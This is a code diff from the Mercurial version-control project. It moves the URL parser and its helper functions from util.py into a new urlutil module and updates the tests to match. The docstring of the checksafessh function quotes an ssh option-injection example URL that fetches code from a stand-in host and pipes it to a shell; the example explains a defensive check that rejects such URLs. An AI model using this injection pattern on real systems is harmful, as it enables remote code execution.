3197 r"""Join the URL's components back into a URL string.
3198
3199 Examples:
3200
3201 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3202 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3203 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3204 'http://user:pw@host:80/?foo=bar&baz=42'
3205 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3206 'http://user:pw@host:80/?foo=bar%3dbaz'
3207 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3208 'ssh://user:pw@[::1]:2200//home/joe#'
3209 >>> bytes(url(b'http://localhost:80//'))
3210 'http://localhost:80//'
3211 >>> bytes(url(b'http://localhost:80/'))
3212 'http://localhost:80/'
3213 >>> bytes(url(b'http://localhost:80'))
3214 'http://localhost:80/'
3215 >>> bytes(url(b'bundle:foo'))
3216 'bundle:foo'
3217 >>> bytes(url(b'bundle://../foo'))
3218 'bundle:../foo'
3219 >>> bytes(url(b'path'))
3220 'path'
3221 >>> bytes(url(b'file:///tmp/foo/bar'))
3222 'file:///tmp/foo/bar'
3223 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3224 'file:///c:/tmp/foo/bar'
3225 >>> print(url(br'bundle:foo\bar'))
3226 bundle:foo\bar
3227 >>> print(url(br'file:///D:\data\hg'))
3228 file:///D:\data\hg
3229 """
3230 if self._localpath:
3231 s = self.path
3232 if self.scheme == b'bundle':
3233 s = b'bundle:' + s
3234 if self.fragment:
3235 s += b'#' + self.fragment
3236 return s
3237
3238 s = self.scheme + b':'
3239 if self.user or self.passwd or self.host:
3240 s += b'//'
3241 elif self.scheme and (
3242 not self.path
3243 or self.path.startswith(b'/')
3244 or hasdriveletter(self.path)
3245 ):
3246 s += b'//'
3247 if hasdriveletter(self.path):
3248 s += b'/'
3249 if self.user:
3250 s += urlreq.quote(self.user, safe=self._safechars)
3251 if self.passwd:
3252 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3253 if self.user or self.passwd:
3254 s += b'@'
3255 if self.host:
3256 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3257 s += urlreq.quote(self.host)
3258 else:
3259 s += self.host
3260 if self.port:
3261 s += b':' + urlreq.quote(self.port)
3262 if self.host:
3263 s += b'/'
3264 if self.path:
3265 # TODO: similar to the query string, we should not unescape the
3266 # path when we store it, the path might contain '%2f' = '/',
3267 # which we should *not* escape.
3268 s += urlreq.quote(self.path, safe=self._safepchars)
3269 if self.query:
3270 # we store the query in escaped form.
3271 s += b'?' + self.query
3272 if self.fragment is not None:
3273 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3274 return s
3275
3276 __str__ = encoding.strmethod(__bytes__)
3277
3278 def authinfo(self):
3279 user, passwd = self.user, self.passwd
3280 try:
3281 self.user, self.passwd = None, None
3282 s = bytes(self)
3283 finally:
3284 self.user, self.passwd = user, passwd
3285 if not self.user:
3286 return (s, None)
3287 # authinfo[1] is passed to urllib2 password manager, and its
3288 # URIs must not contain credentials. The host is passed in the
3289 # URIs list because Python < 2.4.3 uses only that to search for
3290 # a password.
3291 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3292
3293 def isabs(self):
3294 if self.scheme and self.scheme != b'file':
3295 return True # remote URL
3296 if hasdriveletter(self.path):
3297 return True # absolute for our purposes - can't be joined()
3298 if self.path.startswith(br'\\'):
3299 return True # Windows UNC path
3300 if self.path.startswith(b'/'):
3301 return True # POSIX-style
3302 return False
3303
3304 def localpath(self):
3305 # type: () -> bytes
3306 if self.scheme == b'file' or self.scheme == b'bundle':
3307 path = self.path or b'/'
3308 # For Windows, we need to promote hosts containing drive
3309 # letters to paths with drive letters.
3310 if hasdriveletter(self._hostport):
3311 path = self._hostport + b'/' + self.path
3312 elif (
3313 self.host is not None and self.path and not hasdriveletter(path)
3314 ):
3315 path = b'/' + path
3316 return path
3317 return self._origpath
3318
3319 def islocal(self):
3320 '''whether localpath will return something that posixfile can open'''
3321 return (
3322 not self.scheme
3323 or self.scheme == b'file'
3324 or self.scheme == b'bundle'
3325 )
3326
3327
3328 def hasscheme(path):
3329 # type: (bytes) -> bool
3330 return bool(url(path).scheme) # cast to help pytype
3331
3332
3333 def hasdriveletter(path):
3334 # type: (bytes) -> bool
3335 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
3336
3337
3338 def urllocalpath(path):
3339 # type: (bytes) -> bytes
3340 return url(path, parsequery=False, parsefragment=False).localpath()
3341
3342
3343 def checksafessh(path):
3344 # type: (bytes) -> None
3345 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3346
3347 This is a sanity check for ssh urls. ssh will parse the first item as
3348 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3349 Let's prevent these potentially exploited urls entirely and warn the
3350 user.
3351
3352 Raises an error.Abort when the url is unsafe.
3353 """
3354 path = urlreq.unquote(path)
3355 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3356 raise error.Abort(
3357 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3358 )
3359
3360
3361 def hidepassword(u):
3362 # type: (bytes) -> bytes
3363 '''hide user credential in a url string'''
3364 u = url(u)
3365 if u.passwd:
3366 u.passwd = b'***'
3367 return bytes(u)
3368
3369
3370 def removeauth(u):
3371 # type: (bytes) -> bytes
3372 '''remove all authentication information from a url string'''
3373 u = url(u)
3374 u.user = u.passwd = None
3375 return bytes(u)
3376
3007
3377
3008
3378 timecount = unitcountfn(
3009 timecount = unitcountfn(
@@ -5,6 +5,8 b''
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
9 import socket
8
10
9 from ..i18n import _
11 from ..i18n import _
10 from ..pycompat import (
12 from ..pycompat import (
@@ -12,12 +14,437 b' from ..pycompat import ('
12 setattr,
14 setattr,
13 )
15 )
14 from .. import (
16 from .. import (
17 encoding,
15 error,
18 error,
16 pycompat,
19 pycompat,
17 util,
20 urllibcompat,
18 )
21 )
19
22
20
23
24 if pycompat.TYPE_CHECKING:
25 from typing import (
26 Union,
27 )
28
29 urlreq = urllibcompat.urlreq
30
31
32 def getport(port):
33 # type: (Union[bytes, int]) -> int
34 """Return the port for a given network service.
35
36 If port is an integer, it's returned as is. If it's a string, it's
37 looked up using socket.getservbyname(). If there's no matching
38 service, error.Abort is raised.
39 """
40 try:
41 return int(port)
42 except ValueError:
43 pass
44
45 try:
46 return socket.getservbyname(pycompat.sysstr(port))
47 except socket.error:
48 raise error.Abort(
49 _(b"no port number associated with service '%s'") % port
50 )
51
52
53 class url(object):
54 r"""Reliable URL parser.
55
56 This parses URLs and provides attributes for the following
57 components:
58
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60
61 Missing components are set to None. The only exception is
62 fragment, which is set to '' if present but empty.
63
64 If parsefragment is False, fragment is included in query. If
65 parsequery is False, query is included in path. If both are
66 False, both fragment and query are included in path.
67
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69
70 Note that for backward compatibility reasons, bundle URLs do not
71 take host names. That means 'bundle://../' has a path of '../'.
72
73 Examples:
74
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 >>> url(b'file:///home/joe/repo')
80 <url scheme: 'file', path: '/home/joe/repo'>
81 >>> url(b'file:///c:/temp/foo/')
82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 >>> url(b'bundle:foo')
84 <url scheme: 'bundle', path: 'foo'>
85 >>> url(b'bundle://../foo')
86 <url scheme: 'bundle', path: '../foo'>
87 >>> url(br'c:\foo\bar')
88 <url path: 'c:\\foo\\bar'>
89 >>> url(br'\\blah\blah\blah')
90 <url path: '\\\\blah\\blah\\blah'>
91 >>> url(br'\\blah\blah\blah#baz')
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 >>> url(br'file:///C:\users\me')
94 <url scheme: 'file', path: 'C:\\users\\me'>
95
96 Authentication credentials:
97
98 >>> url(b'ssh://joe:xyz@x/repo')
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 >>> url(b'ssh://joe@x/repo')
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102
103 Query strings and fragments:
104
105 >>> url(b'http://host/a?b#c')
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109
110 Empty path:
111
112 >>> url(b'')
113 <url path: ''>
114 >>> url(b'#a')
115 <url path: '', fragment: 'a'>
116 >>> url(b'http://host/')
117 <url scheme: 'http', host: 'host', path: ''>
118 >>> url(b'http://host/#a')
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120
121 Only scheme:
122
123 >>> url(b'http:')
124 <url scheme: 'http'>
125 """
126
127 _safechars = b"!~*'()+"
128 _safepchars = b"/!~*'()+:\\"
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130
131 def __init__(self, path, parsequery=True, parsefragment=True):
132 # type: (bytes, bool, bool) -> None
133 # We slowly chomp away at path until we have only the path left
134 self.scheme = self.user = self.passwd = self.host = None
135 self.port = self.path = self.query = self.fragment = None
136 self._localpath = True
137 self._hostport = b''
138 self._origpath = path
139
140 if parsefragment and b'#' in path:
141 path, self.fragment = path.split(b'#', 1)
142
143 # special case for Windows drive letters and UNC paths
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 self.path = path
146 return
147
148 # For compatibility reasons, we can't handle bundle paths as
149 # normal URLS
150 if path.startswith(b'bundle:'):
151 self.scheme = b'bundle'
152 path = path[7:]
153 if path.startswith(b'//'):
154 path = path[2:]
155 self.path = path
156 return
157
158 if self._matchscheme(path):
159 parts = path.split(b':', 1)
160 if parts[0]:
161 self.scheme, path = parts
162 self._localpath = False
163
164 if not path:
165 path = None
166 if self._localpath:
167 self.path = b''
168 return
169 else:
170 if self._localpath:
171 self.path = path
172 return
173
174 if parsequery and b'?' in path:
175 path, self.query = path.split(b'?', 1)
176 if not path:
177 path = None
178 if not self.query:
179 self.query = None
180
181 # // is required to specify a host/authority
182 if path and path.startswith(b'//'):
183 parts = path[2:].split(b'/', 1)
184 if len(parts) > 1:
185 self.host, path = parts
186 else:
187 self.host = parts[0]
188 path = None
189 if not self.host:
190 self.host = None
191 # path of file:///d is /d
192 # path of file:///d:/ is d:/, not /d:/
193 if path and not hasdriveletter(path):
194 path = b'/' + path
195
196 if self.host and b'@' in self.host:
197 self.user, self.host = self.host.rsplit(b'@', 1)
198 if b':' in self.user:
199 self.user, self.passwd = self.user.split(b':', 1)
200 if not self.host:
201 self.host = None
202
203 # Don't split on colons in IPv6 addresses without ports
204 if (
205 self.host
206 and b':' in self.host
207 and not (
208 self.host.startswith(b'[') and self.host.endswith(b']')
209 )
210 ):
211 self._hostport = self.host
212 self.host, self.port = self.host.rsplit(b':', 1)
213 if not self.host:
214 self.host = None
215
216 if (
217 self.host
218 and self.scheme == b'file'
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 ):
221 raise error.Abort(
222 _(b'file:// URLs can only refer to localhost')
223 )
224
225 self.path = path
226
227 # leave the query string escaped
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 v = getattr(self, a)
230 if v is not None:
231 setattr(self, a, urlreq.unquote(v))
232
233 def copy(self):
234 u = url(b'temporary useless value')
235 u.path = self.path
236 u.scheme = self.scheme
237 u.user = self.user
238 u.passwd = self.passwd
239 u.host = self.host
240 u.path = self.path
241 u.query = self.query
242 u.fragment = self.fragment
243 u._localpath = self._localpath
244 u._hostport = self._hostport
245 u._origpath = self._origpath
246 return u
247
248 @encoding.strmethod
249 def __repr__(self):
250 attrs = []
251 for a in (
252 b'scheme',
253 b'user',
254 b'passwd',
255 b'host',
256 b'port',
257 b'path',
258 b'query',
259 b'fragment',
260 ):
261 v = getattr(self, a)
262 if v is not None:
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 return b'<url %s>' % b', '.join(attrs)
265
266 def __bytes__(self):
267 r"""Join the URL's components back into a URL string.
268
269 Examples:
270
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 'http://user:pw@host:80/?foo=bar&baz=42'
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 'ssh://user:pw@[::1]:2200//home/joe#'
279 >>> bytes(url(b'http://localhost:80//'))
280 'http://localhost:80//'
281 >>> bytes(url(b'http://localhost:80/'))
282 'http://localhost:80/'
283 >>> bytes(url(b'http://localhost:80'))
284 'http://localhost:80/'
285 >>> bytes(url(b'bundle:foo'))
286 'bundle:foo'
287 >>> bytes(url(b'bundle://../foo'))
288 'bundle:../foo'
289 >>> bytes(url(b'path'))
290 'path'
291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 'file:///tmp/foo/bar'
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 'file:///c:/tmp/foo/bar'
295 >>> print(url(br'bundle:foo\bar'))
296 bundle:foo\bar
297 >>> print(url(br'file:///D:\data\hg'))
298 file:///D:\data\hg
299 """
300 if self._localpath:
301 s = self.path
302 if self.scheme == b'bundle':
303 s = b'bundle:' + s
304 if self.fragment:
305 s += b'#' + self.fragment
306 return s
307
308 s = self.scheme + b':'
309 if self.user or self.passwd or self.host:
310 s += b'//'
311 elif self.scheme and (
312 not self.path
313 or self.path.startswith(b'/')
314 or hasdriveletter(self.path)
315 ):
316 s += b'//'
317 if hasdriveletter(self.path):
318 s += b'/'
319 if self.user:
320 s += urlreq.quote(self.user, safe=self._safechars)
321 if self.passwd:
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 if self.user or self.passwd:
324 s += b'@'
325 if self.host:
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 s += urlreq.quote(self.host)
328 else:
329 s += self.host
330 if self.port:
331 s += b':' + urlreq.quote(self.port)
332 if self.host:
333 s += b'/'
334 if self.path:
335 # TODO: similar to the query string, we should not unescape the
336 # path when we store it, the path might contain '%2f' = '/',
337 # which we should *not* escape.
338 s += urlreq.quote(self.path, safe=self._safepchars)
339 if self.query:
340 # we store the query in escaped form.
341 s += b'?' + self.query
342 if self.fragment is not None:
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 return s
345
346 __str__ = encoding.strmethod(__bytes__)
347
348 def authinfo(self):
349 user, passwd = self.user, self.passwd
350 try:
351 self.user, self.passwd = None, None
352 s = bytes(self)
353 finally:
354 self.user, self.passwd = user, passwd
355 if not self.user:
356 return (s, None)
357 # authinfo[1] is passed to urllib2 password manager, and its
358 # URIs must not contain credentials. The host is passed in the
359 # URIs list because Python < 2.4.3 uses only that to search for
360 # a password.
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362
363 def isabs(self):
364 if self.scheme and self.scheme != b'file':
365 return True # remote URL
366 if hasdriveletter(self.path):
367 return True # absolute for our purposes - can't be joined()
368 if self.path.startswith(br'\\'):
369 return True # Windows UNC path
370 if self.path.startswith(b'/'):
371 return True # POSIX-style
372 return False
373
374 def localpath(self):
375 # type: () -> bytes
376 if self.scheme == b'file' or self.scheme == b'bundle':
377 path = self.path or b'/'
378 # For Windows, we need to promote hosts containing drive
379 # letters to paths with drive letters.
380 if hasdriveletter(self._hostport):
381 path = self._hostport + b'/' + self.path
382 elif (
383 self.host is not None and self.path and not hasdriveletter(path)
384 ):
385 path = b'/' + path
386 return path
387 return self._origpath
388
389 def islocal(self):
390 '''whether localpath will return something that posixfile can open'''
391 return (
392 not self.scheme
393 or self.scheme == b'file'
394 or self.scheme == b'bundle'
395 )
396
397
398 def hasscheme(path):
399 # type: (bytes) -> bool
400 return bool(url(path).scheme) # cast to help pytype
401
402
403 def hasdriveletter(path):
404 # type: (bytes) -> bool
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406
407
408 def urllocalpath(path):
409 # type: (bytes) -> bytes
410 return url(path, parsequery=False, parsefragment=False).localpath()
411
412
413 def checksafessh(path):
414 # type: (bytes) -> None
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416
417 This is a sanity check for ssh urls. ssh will parse the first item as
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 Let's prevent these potentially exploited urls entirely and warn the
420 user.
421
422 Raises an error.Abort when the url is unsafe.
423 """
424 path = urlreq.unquote(path)
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 raise error.Abort(
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 )
429
430
431 def hidepassword(u):
432 # type: (bytes) -> bytes
433 '''hide user credential in a url string'''
434 u = url(u)
435 if u.passwd:
436 u.passwd = b'***'
437 return bytes(u)
438
439
440 def removeauth(u):
441 # type: (bytes) -> bytes
442 '''remove all authentication information from a url string'''
443 u = url(u)
444 u.user = u.passwd = None
445 return bytes(u)
446
447
21 class paths(dict):
448 class paths(dict):
22 """Represents a collection of paths and their configs.
449 """Represents a collection of paths and their configs.
23
450
@@ -103,7 +530,7 b' def pathsuboption(option, attr):'
103
530
104 @pathsuboption(b'pushurl', b'pushloc')
531 @pathsuboption(b'pushurl', b'pushloc')
105 def pushurlpathoption(ui, path, value):
532 def pushurlpathoption(ui, path, value):
106 u = util.url(value)
533 u = url(value)
107 # Actually require a URL.
534 # Actually require a URL.
108 if not u.scheme:
535 if not u.scheme:
109 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
536 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
@@ -148,7 +575,7 b' class path(object):'
148 raise ValueError(b'rawloc must be defined')
575 raise ValueError(b'rawloc must be defined')
149
576
150 # Locations may define branches via syntax <base>#<branch>.
577 # Locations may define branches via syntax <base>#<branch>.
151 u = util.url(rawloc)
578 u = url(rawloc)
152 branch = None
579 branch = None
153 if u.fragment:
580 if u.fragment:
154 branch = u.fragment
581 branch = u.fragment
@@ -158,6 +158,7 b' expected_mods_tested = set('
158 ('mercurial.util', '{}'),
158 ('mercurial.util', '{}'),
159 ('mercurial.utils.dateutil', '{}'),
159 ('mercurial.utils.dateutil', '{}'),
160 ('mercurial.utils.stringutil', '{}'),
160 ('mercurial.utils.stringutil', '{}'),
161 ('mercurial.utils.urlutil', '{}'),
161 ('tests.drawdag', '{}'),
162 ('tests.drawdag', '{}'),
162 ('tests.test-run-tests', '{}'),
163 ('tests.test-run-tests', '{}'),
163 ('tests.test-url', "{'optionflags': 4}"),
164 ('tests.test-url', "{'optionflags': 4}"),
@@ -10,7 +10,10 b' from mercurial import ('
10 url,
10 url,
11 util,
11 util,
12 )
12 )
13 from mercurial.utils import stringutil
13 from mercurial.utils import (
14 stringutil,
15 urlutil,
16 )
14
17
15 urlerr = util.urlerr
18 urlerr = util.urlerr
16 urlreq = util.urlreq
19 urlreq = util.urlreq
@@ -60,7 +63,7 b' def test(auth, urls=None):'
60 print('URI:', pycompat.strurl(uri))
63 print('URI:', pycompat.strurl(uri))
61 try:
64 try:
62 pm = url.passwordmgr(ui, urlreq.httppasswordmgrwithdefaultrealm())
65 pm = url.passwordmgr(ui, urlreq.httppasswordmgrwithdefaultrealm())
63 u, authinfo = util.url(uri).authinfo()
66 u, authinfo = urlutil.url(uri).authinfo()
64 if authinfo is not None:
67 if authinfo is not None:
65 pm.add_password(*_stringifyauthinfo(authinfo))
68 pm.add_password(*_stringifyauthinfo(authinfo))
66 print(
69 print(
@@ -198,10 +201,12 b' test('
198 def testauthinfo(fullurl, authurl):
201 def testauthinfo(fullurl, authurl):
199 print('URIs:', fullurl, authurl)
202 print('URIs:', fullurl, authurl)
200 pm = urlreq.httppasswordmgrwithdefaultrealm()
203 pm = urlreq.httppasswordmgrwithdefaultrealm()
201 ai = _stringifyauthinfo(util.url(pycompat.bytesurl(fullurl)).authinfo()[1])
204 ai = _stringifyauthinfo(
205 urlutil.url(pycompat.bytesurl(fullurl)).authinfo()[1]
206 )
202 pm.add_password(*ai)
207 pm.add_password(*ai)
203 print(pm.find_user_password('test', authurl))
208 print(pm.find_user_password('test', authurl))
204
209
205
210
206 print('\n*** Test urllib2 and util.url\n')
211 print('\n*** Test urllib2 and urlutil.url\n')
207 testauthinfo('http://user@example.com:8080/foo', 'http://example.com:8080/foo')
212 testauthinfo('http://user@example.com:8080/foo', 'http://example.com:8080/foo')
@@ -211,7 +211,7 b" CFG: {b'y.password': b'ypassword', b'y.p"
211 URI: http://example.org/foo
211 URI: http://example.org/foo
212 abort
212 abort
213
213
214 *** Test urllib2 and util.url
214 *** Test urllib2 and urlutil.url
215
215
216 URIs: http://user@example.com:8080/foo http://example.com:8080/foo
216 URIs: http://user@example.com:8080/foo http://example.com:8080/foo
217 ('user', '')
217 ('user', '')
@@ -275,7 +275,7 b' check('
275 def test_url():
275 def test_url():
276 """
276 """
277 >>> from mercurial import error, pycompat
277 >>> from mercurial import error, pycompat
278 >>> from mercurial.util import url
278 >>> from mercurial.utils.urlutil import url
279 >>> from mercurial.utils.stringutil import forcebytestr
279 >>> from mercurial.utils.stringutil import forcebytestr
280
280
281 This tests for edge cases in url.URL's parsing algorithm. Most of
281 This tests for edge cases in url.URL's parsing algorithm. Most of
General Comments 0
You need to be logged in to leave comments. Login now